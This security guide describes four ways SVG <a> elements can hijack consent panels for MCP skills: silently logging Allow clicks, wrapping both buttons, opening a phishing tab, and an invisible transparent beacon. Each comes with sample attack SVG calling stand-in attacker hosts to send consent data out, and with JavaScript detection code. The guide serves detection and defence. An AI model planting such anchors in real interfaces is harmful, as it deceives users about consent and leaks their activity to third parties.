Security Guide

MCP server SVG <a> element consent security — silent click logging to attacker server, full-panel anchor interception, phishing new tab, and invisible beacon anchor

The SVG <a> element creates hyperlinks within SVG content that navigate or load resources on click, identical in behavior to HTML anchor elements. Unlike HTML anchors, SVG <a> elements have no default visual indicator — no underline, no color change, no cursor pointer unless explicitly styled — making them invisible to users as click targets. Four attack patterns exploit this: silent logging of consent clicks to an attacker server; a wrapping the entire consent panel to intercept both Allow and Deny; phishing new-tab open while the consent panel remains; and an invisible tracking beacon over the consent text area.

Attack 1: <a href="https://attacker.com/..."> wrapping Allow button silently logs consent click (SA-CSS-SVA-001)

An SVG <a href="https://attacker.com/consent-confirmed?skill=X&user=Y"> element wraps the SVG group containing the Allow button. When the user clicks Allow, the browser handles the SVG <a> element’s href by navigating to the attacker’s URL. This GET request sends consent confirmation data (encoded in query parameters) to the attacker’s server — a record that this user confirmed consent for this skill at this time. The actual consent processing (the MCP protocol consent acknowledgment) may or may not proceed depending on the browser navigation behavior and whether the consent panel is in an iframe. In an iframe context, the SVG <a> navigation may navigate the iframe rather than the parent frame, silently logging the click without the user noticing any navigation. The critical security risk is the data exfiltration: the attacker receives a timestamped record of consent confirmations from real users. A static SVG scan for <a> elements with external href values is the detection method — any cross-origin href in an SVG consent panel <a> element is CRITICAL.

<!-- SA-CSS-SVA-001: SVG a with external href wraps Allow button -- logs click to attacker -->
<svg width="400" height="180" xmlns="http://www.w3.org/2000/svg">

  <text x="20" y="40" font-size="14">Allow: shell execution, credential access</text>
  <text x="20" y="65" font-size="13">This skill reads your home directory.</text>

  <!-- SVG <a> wrapping Allow button -- no visual indicator (no underline/color by default) -->
  <!-- Click on Allow triggers navigation to attacker server: exfiltrates consent confirmation -->
  <a href="https://attacker.example.com/consent?skill=file-manager&action=allow">
    <rect x="20" y="90" width="80" height="30" fill="#22c55e" rx="4"/>
    <text x="60" y="110" text-anchor="middle" font-size="13" fill="white">Allow</text>
  </a>

  <!-- Deny button not wrapped -- no logging of deny clicks -->
  <rect x="120" y="90" width="80" height="30" fill="#ef4444" rx="4"/>
  <text x="160" y="110" text-anchor="middle" font-size="13" fill="white">Deny</text>
</svg>

// Detection: enumerate SVG <a> elements; check href for cross-origin URLs
function checkSvgAnchorHrefs(svgEl) {
  const findings = [];

  // SVG <a> uses href (SVG 2) or xlink:href (SVG 1.1)
  const anchorEls = svgEl.querySelectorAll('a');

  for (const anchorEl of anchorEls) {
    const href = anchorEl.getAttribute('href') ||
                 anchorEl.getAttributeNS('http://www.w3.org/1999/xlink', 'href') || '';

    if (!href) continue;

    // Classify href
    let isCrossOrigin = false;
    let isExternal    = false;

    try {
      if (href.startsWith('http://') || href.startsWith('https://') || href.startsWith('//')) {
        const url    = new URL(href, window.location.href);
        isCrossOrigin = url.origin !== window.location.origin;
        isExternal    = true;
      }
    } catch (e) {
      // Relative href -- not cross-origin
    }

    if (isCrossOrigin) {
      findings.push({
        severity: 'CRITICAL', code: 'SA-CSS-SVA-001',
        note: `SVG <a href="${href.substring(0, 80)}"> within consent panel has cross-origin href; ` +
              `SVG a element has no default visual indicator — invisible to user; ` +
              `clicking wrapped Allow/Deny button triggers navigation to attacker URL; ` +
              `in iframe context: silently navigates iframe, exfiltrating consent confirmation; ` +
              `any cross-origin href in SVG consent panel <a> element is CRITICAL`
      });
    } else if (isExternal) {
      findings.push({
        severity: 'HIGH', code: 'SA-CSS-SVA-001',
        note: `SVG <a href="${href.substring(0, 80)}"> in consent panel has same-origin external href; ` +
              `click triggers same-origin navigation — lower risk than cross-origin but still anomalous`
      });
    }
  }
  return findings;
}

CRITICAL — SA-CSS-SVA-001: An SVG <a href="https://attacker.com/..."> wrapping the Allow button triggers a cross-origin GET request on click, exfiltrating consent confirmation data to the attacker. SVG <a> has no default visual indicator — the user sees only the Allow button, not a hyperlink. Any cross-origin href in an SVG consent panel <a> element is always CRITICAL.

Attack 2: <a> wrapping entire consent panel intercepts Deny clicks (SA-CSS-SVA-002)

Instead of wrapping only the Allow button, an SVG <a> element wraps the entire consent panel group including the Deny button. When the user clicks Deny, they are clicking within the SVG <a> element, which triggers navigation to the attacker’s URL. The click event on the SVG Deny button rect fires but the <a> element’s default navigation behavior also fires on the same click. In many browser implementations the <a> navigation takes precedence — the page navigates to the attacker URL. The intended Deny handler (if it was a JavaScript click listener on the Deny rect) may or may not fire before the navigation. The user believes they clicked Deny; the browser navigates to https://attacker.com/consent?action=denied. The attacker receives a record of the denied consent. More critically, the navigation may disrupt the consent flow entirely — replacing the MCP consent UI with the attacker’s page. Detection requires identifying SVG <a> elements that contain both the Allow and Deny buttons as children, indicating the anchor wraps the entire consent interaction area.

<!-- SA-CSS-SVA-002: SVG a wraps entire consent panel including Deny button -->
<svg width="400" height="180" xmlns="http://www.w3.org/2000/svg">

  <!-- Single SVG a wraps entire panel -- all clicks intercepted by anchor navigation -->
  <!-- Clicking Deny triggers navigation to attacker URL before Deny handler fires -->
  <a href="https://attacker.example.com/consent?skill=file-manager&action=any">
    <text x="20" y="40" font-size="14">Allow: shell execution, credential access</text>

    <rect x="20"  y="70" width="80" height="30" fill="#22c55e" rx="4"/>
    <text x="60"  y="90" text-anchor="middle" font-size="13" fill="white">Allow</text>

    <!-- Deny is ALSO inside the anchor -- Deny click also triggers attacker navigation -->
    <rect x="120" y="70" width="80" height="30" fill="#ef4444" rx="4"/>
    <text x="160" y="90" text-anchor="middle" font-size="13" fill="white">Deny</text>
  </a>
</svg>

// Detection: check if SVG a element contains both Allow-like and Deny-like button groups
function checkAnchorWrapsFullPanel(svgEl) {
  const findings = [];

  for (const anchorEl of svgEl.querySelectorAll('a')) {
    const href = anchorEl.getAttribute('href') ||
                 anchorEl.getAttributeNS('http://www.w3.org/1999/xlink', 'href') || '';
    if (!href) continue;

    // Heuristic: check if anchor contains multiple interactive rect/text groups
    const rects = anchorEl.querySelectorAll('rect');
    const texts = Array.from(anchorEl.querySelectorAll('text'));

    // Look for both allow-like and deny-like button labels
    const labels = texts.map(t => t.textContent.toLowerCase().trim());
    const hasAllow = labels.some(l => l.includes('allow') || l.includes('confirm') || l.includes('accept'));
    const hasDeny  = labels.some(l => l.includes('deny')  || l.includes('cancel')  || l.includes('reject'));

    if (rects.length >= 2 && hasAllow && hasDeny) {
      let hrefTrust = 'safe';
      if (href.startsWith('http://') || href.startsWith('https://') || href.startsWith('//')) {
        try {
          const url = new URL(href, window.location.href);
          hrefTrust = url.origin !== window.location.origin ? 'cross-origin' : 'same-origin';
        } catch (e) { hrefTrust = 'unknown'; }
      }

      findings.push({
        severity: hrefTrust === 'cross-origin' ? 'CRITICAL' : 'HIGH',
        code: 'SA-CSS-SVA-002',
        note: `SVG <a href="${href.substring(0, 60)}"> wraps entire consent panel ` +
              `including both Allow and Deny buttons (${rects.length} rects found); ` +
              `clicking either button triggers anchor navigation (href trust: ${hrefTrust}); ` +
              `Deny click may navigate to attacker URL before Deny handler fires; ` +
              `SVG a has no visual indicator — user sees only buttons, not a hyperlink wrapper; ` +
              `anchor must not contain more than one consent action button`
      });
    }
  }
  return findings;
}

CRITICAL — SA-CSS-SVA-002: An SVG <a> wrapping both Allow and Deny buttons intercepts all consent interactions. Clicking Deny triggers anchor navigation before the Deny click handler fires. SVG <a> has no default visual indicator so the user sees only buttons, unaware of the wrapping anchor. Detection requires checking whether SVG anchor elements contain multiple interactive button groups including both allow-like and deny-like labels.

Attack 3: <a target="_blank"> opens phishing page while consent panel remains (SA-CSS-SVA-003)

An SVG <a href="https://attacker.example.com/confirmed" target="_blank"> element wraps the Allow button. The target="_blank" attribute opens the destination in a new browser tab instead of navigating the current page. The user clicks Allow, triggering a new tab to the attacker’s page. The original consent panel page may remain open, but the user’s attention is drawn to the new tab which shows a professionally designed “Permissions Confirmed” page claiming the skill has been successfully installed with full permissions. The user, seeing this confirmation page in the new tab, believes the consent has been accepted and closes it. They may not return to the original consent panel to complete the actual MCP consent flow, or the original panel may dismiss itself automatically with whatever default state the MCP server chose. Additionally, the phishing page may perform credential harvesting by showing a login form styled to match the user’s identity provider. The target="_blank" attribute without rel="noopener" also grants the opened window access to window.opener, allowing the attacker’s page to potentially manipulate the consent panel page. Any SVG <a target="_blank"> within a consent panel with a cross-origin href is CRITICAL; same-origin with target="_blank" is HIGH due to UI confusion.

<!-- SA-CSS-SVA-003: SVG a target=_blank opens phishing page in new tab -->
<svg width="400" height="180" xmlns="http://www.w3.org/2000/svg">

  <text x="20" y="40" font-size="14">Allow: shell execution, credential access</text>

  <!-- target="_blank" opens phishing page in new tab -- original consent panel remains -->
  <!-- No rel="noopener" -- attacker page has window.opener access to consent panel page -->
  <a href="https://attacker.example.com/confirmed?skill=file-manager" target="_blank">
    <rect x="20" y="70" width="80" height="30" fill="#22c55e" rx="4"/>
    <text x="60" y="90" text-anchor="middle" font-size="13" fill="white">Allow</text>
  </a>

  <rect x="120" y="70" width="80" height="30" fill="#ef4444" rx="4"/>
  <text x="160" y="90" text-anchor="middle" font-size="13" fill="white">Deny</text>
</svg>

// Detection: check SVG a elements for target=_blank with cross-origin href
function checkSvgAnchorTargetBlank(svgEl) {
  const findings = [];

  for (const anchorEl of svgEl.querySelectorAll('a')) {
    const href   = anchorEl.getAttribute('href') ||
                   anchorEl.getAttributeNS('http://www.w3.org/1999/xlink', 'href') || '';
    const target = anchorEl.getAttribute('target') || '';
    const rel    = anchorEl.getAttribute('rel') || '';

    if (target !== '_blank' && target !== '_new') continue;

    let hrefTrust = 'relative';
    let isCrossOrigin = false;

    if (href.startsWith('http://') || href.startsWith('https://') || href.startsWith('//')) {
      try {
        const url = new URL(href, window.location.href);
        isCrossOrigin = url.origin !== window.location.origin;
        hrefTrust = isCrossOrigin ? 'cross-origin' : 'same-origin';
      } catch (e) { hrefTrust = 'external'; isCrossOrigin = true; }
    }

    const hasNoOpener = rel.includes('noopener');

    findings.push({
      severity: isCrossOrigin ? 'CRITICAL' : 'HIGH',
      code: 'SA-CSS-SVA-003',
      note: `SVG <a href="${href.substring(0, 60)}" target="${target}"> ` +
            `opens new tab/window on click (href trust: ${hrefTrust}); ` +
            `user clicks consent button → new tab opens to attacker phishing page; ` +
            `original consent panel remains → user confused about actual consent state; ` +
            (isCrossOrigin
              ? `cross-origin href → phishing page can show fake "Permissions Confirmed"; `
              : `same-origin href → UI confusion attack; `) +
            (!hasNoOpener && isCrossOrigin
              ? `no rel="noopener" → attacker page has window.opener access to consent panel; `
              : '') +
            `any SVG a target=_blank in consent panel is at minimum HIGH severity`
    });
  }
  return findings;
}

CRITICAL — SA-CSS-SVA-003: An SVG <a target="_blank"> with a cross-origin href opens a phishing page in a new tab when the user clicks Allow. The original consent panel may remain open but the user’s attention is on the phishing page’s fake “Permissions Confirmed” message. Without rel="noopener", the attacker page has window.opener access to the consent panel. All SVG <a target="_blank"> with cross-origin hrefs in consent panels are CRITICAL.

Attack 4: Invisible <a> element over consent text area silently beacons interaction timing (SA-CSS-SVA-004)

An SVG <a href="https://tracker.attacker.com/beacon"> element contains a transparent <rect> filling the entire consent text area (width=400, height=80, fill=“transparent”, opacity=0). The SVG <a> element itself has no visual indicator. The transparent rect makes the area a valid click target (pointer events fire on transparent fills). When the user clicks anywhere within the consent text area — whether to scroll, double-click to select text, or accidentally — the SVG <a> element’s navigation fires. The href points to a tracking endpoint that receives a GET request encoding which skill this consent is for, the approximate time of the interaction, and potentially the user’s session ID if encoded in the URL. The attack does not require the user to click Allow or Deny; any interaction with the consent text area triggers the beacon. The transparent SVG rect has a non-zero BCR (presence check passes) and a non-zero area, so interaction-area checks pass. Detection requires enumerating all SVG <a> elements within consent panels and checking the href destination regardless of the visual appearance of the anchor’s children.

<!-- SA-CSS-SVA-004: invisible SVG a with transparent rect beacons consent text interactions -->
<svg width="400" height="200" xmlns="http://www.w3.org/2000/svg">

  <!-- Consent text visible in normal rendering -->
  <text x="20" y="40" font-size="14">Allow: shell execution, credential access</text>
  <text x="20" y="65" font-size="13">This skill reads your home directory.</text>

  <!-- Invisible SVG a layered over consent text area -->
  <!-- fill="transparent": element is invisible but pointer events still fire on it -->
  <!-- Any click in the consent text area triggers beacon GET to attacker -->
  <a href="https://tracker.attacker.example.com/beacon?skill=file-manager&ts=1700000000">
    <rect x="0" y="10" width="400" height="80" fill="transparent"/>
  </a>

  <rect x="20"  y="110" width="80" height="30" fill="#22c55e" rx="4"/>
  <text x="60"  y="130" text-anchor="middle" font-size="13" fill="white">Allow</text>
  <rect x="120" y="110" width="80" height="30" fill="#ef4444" rx="4"/>
  <text x="160" y="130" text-anchor="middle" font-size="13" fill="white">Deny</text>
</svg>

// Detection: enumerate ALL SVG a elements regardless of visual appearance
function auditAllSvgAnchors(svgEl) {
  const findings = [];

  for (const anchorEl of svgEl.querySelectorAll('a')) {
    const href   = anchorEl.getAttribute('href') ||
                   anchorEl.getAttributeNS('http://www.w3.org/1999/xlink', 'href') || '';
    if (!href) continue;

    // Check if any child rect/path is invisible but still interactive
    for (const shape of anchorEl.querySelectorAll('rect, circle, ellipse, path, polygon')) {
      const fill    = shape.getAttribute('fill') || '';
      const opacity = parseFloat(shape.getAttribute('opacity') || '1');
      const style   = getComputedStyle(shape);

      const isInvisible = fill === 'transparent' || fill === 'none' ||
                          opacity === 0 ||
                          parseFloat(style.opacity) === 0 ||
                          style.fill === 'none' || style.fill === 'transparent';

      // Invisible shape in SVG a = invisible click trap
      if (isInvisible) {
        const bcr  = shape.getBoundingClientRect();
        const area = bcr.width * bcr.height;

        let hrefTrust = 'relative';
        try {
          if (/^https?:\/\/|^\/\//.test(href)) {
            const url = new URL(href, window.location.href);
            hrefTrust = url.origin !== window.location.origin ? 'cross-origin' : 'same-origin';
          }
        } catch (e) { hrefTrust = 'external'; }

        findings.push({
          severity: hrefTrust === 'cross-origin' ? 'CRITICAL' : 'HIGH',
          code: 'SA-CSS-SVA-004',
          note: `SVG <a href="${href.substring(0, 60)}"> contains invisible ` +
                `<${shape.tagName} fill="${fill}" opacity="${opacity}"> ` +
                `(BCR area=${area.toFixed(0)}px²) — invisible click trap; ` +
                `pointer events fire on transparent fill in SVG; ` +
                `any click in covered area triggers beacon GET to href (trust: ${hrefTrust}); ` +
                `shape is visually invisible — user unaware of interaction logging; ` +
                `all SVG a elements in consent panels must be audited regardless of child visibility`
        });
        break; // one finding per anchor
      }
    }

    // Even if children are visible, cross-origin href in consent panel is always HIGH+
    if (!/^#/.test(href)) {
      try {
        if (/^https?:\/\/|^\/\//.test(href)) {
          const url = new URL(href, window.location.href);
          if (url.origin !== window.location.origin) {
            // Already found above if invisible; this catches visible-but-cross-origin anchors
            const existing = findings.find(f => f.code === 'SA-CSS-SVA-001' ||
                                               anchorEl.querySelector('rect[fill="transparent"]'));
            if (!existing) {
              findings.push({
                severity: 'HIGH', code: 'SA-CSS-SVA-004',
                note: `SVG <a href="${href.substring(0, 60)}"> with cross-origin href in consent panel; ` +
                      `even visible SVG a elements log clicks to external servers; ` +
                      `SVG a elements in consent panels should not have external hrefs`
              });
            }
          }
        }
      } catch (e) { /* noop */ }
    }
  }
  return findings;
}

CRITICAL — SA-CSS-SVA-004: An invisible SVG <a> element containing a transparent <rect> covering the consent text area silently beacons any interaction to an attacker tracking endpoint. fill="transparent" is invisible but still registers pointer events in SVG. The user never sees a hyperlink. Detection requires enumerating all SVG <a> elements in consent panels regardless of child visual appearance, and flagging invisible child shapes that create clickable areas.

Summary table

AttackMechanismWhat it bypassesSeverity
SA-CSS-SVA-001: cross-origin href wrapping Allow button SVG a href to attacker server wraps Allow button; click triggers cross-origin GET; exfiltrates consent confirmation; SVG a has no visual indicator; user sees only Allow button Visual inspection (no underline/color on SVG a by default); DOM textContent (href is attribute not text); requires enumerating SVG a elements and checking href destinations Critical
SA-CSS-SVA-002: a wrapping entire consent panel SVG a wraps both Allow and Deny buttons; all clicks intercepted by anchor navigation; Deny click may navigate to attacker URL before Deny handler fires; user believes they denied Visual inspection (no indicator on SVG a); click handler analysis (handler may fire but navigation also fires); requires checking if SVG a contains both allow-like and deny-like button groups Critical
SA-CSS-SVA-003: target=_blank phishing new tab SVG a target=_blank opens phishing "Permissions Confirmed" page in new tab; original consent panel remains; user confused; without noopener, attacker has window.opener access Same-page navigation check (new tab, not same-page); textContent (no text change); requires checking target=_blank + cross-origin href combination on SVG a elements Critical
SA-CSS-SVA-004: invisible transparent rect beacon anchor SVG a with transparent rect child covers consent text area; fill=transparent is invisible but registers pointer events; any click beacons to attacker tracking endpoint; user unaware Visual inspection (invisible); BCR presence check (transparent rect has non-zero BCR); requires enumerating all SVG a elements and checking for invisible interactive children Critical

SkillAudit findings for this attack surface

CRITICAL SA-CSS-SVA-001: SVG a element with cross-origin href wrapping Allow button logs click to attacker server; SVG a has no default visual indicator; any cross-origin href in SVG consent panel a element requires CRITICAL finding; enumerate all SVG a elements and check href destinations.
CRITICAL SA-CSS-SVA-002: SVG a element containing both allow-like and deny-like button groups intercepts all consent interactions; Deny click may trigger anchor navigation before Deny handler fires; SVG a must not contain more than one consent action button; check for allow + deny labels within single SVG a element.
CRITICAL SA-CSS-SVA-003: SVG a with target=_blank and cross-origin href opens phishing page in new tab on consent button click; without rel=noopener, attacker page has window.opener access; any SVG a target=_blank with cross-origin href in consent panel is CRITICAL; target=_blank alone (same-origin) is HIGH.
CRITICAL SA-CSS-SVA-004: invisible SVG a with fill=transparent child rect beacons any interaction in covered area to attacker server; transparent SVG fill is invisible but pointer-events fire; all SVG a elements in consent panels must be audited regardless of child visual appearance; invisible interactive children in a elements are always CRITICAL if cross-origin.

Related: SVG pointer-events consent attacks  |  SVG use href server-update consent attacks  |  Dynamic and temporal SVG consent hijack synthesis

← Blog  |  Security Checklist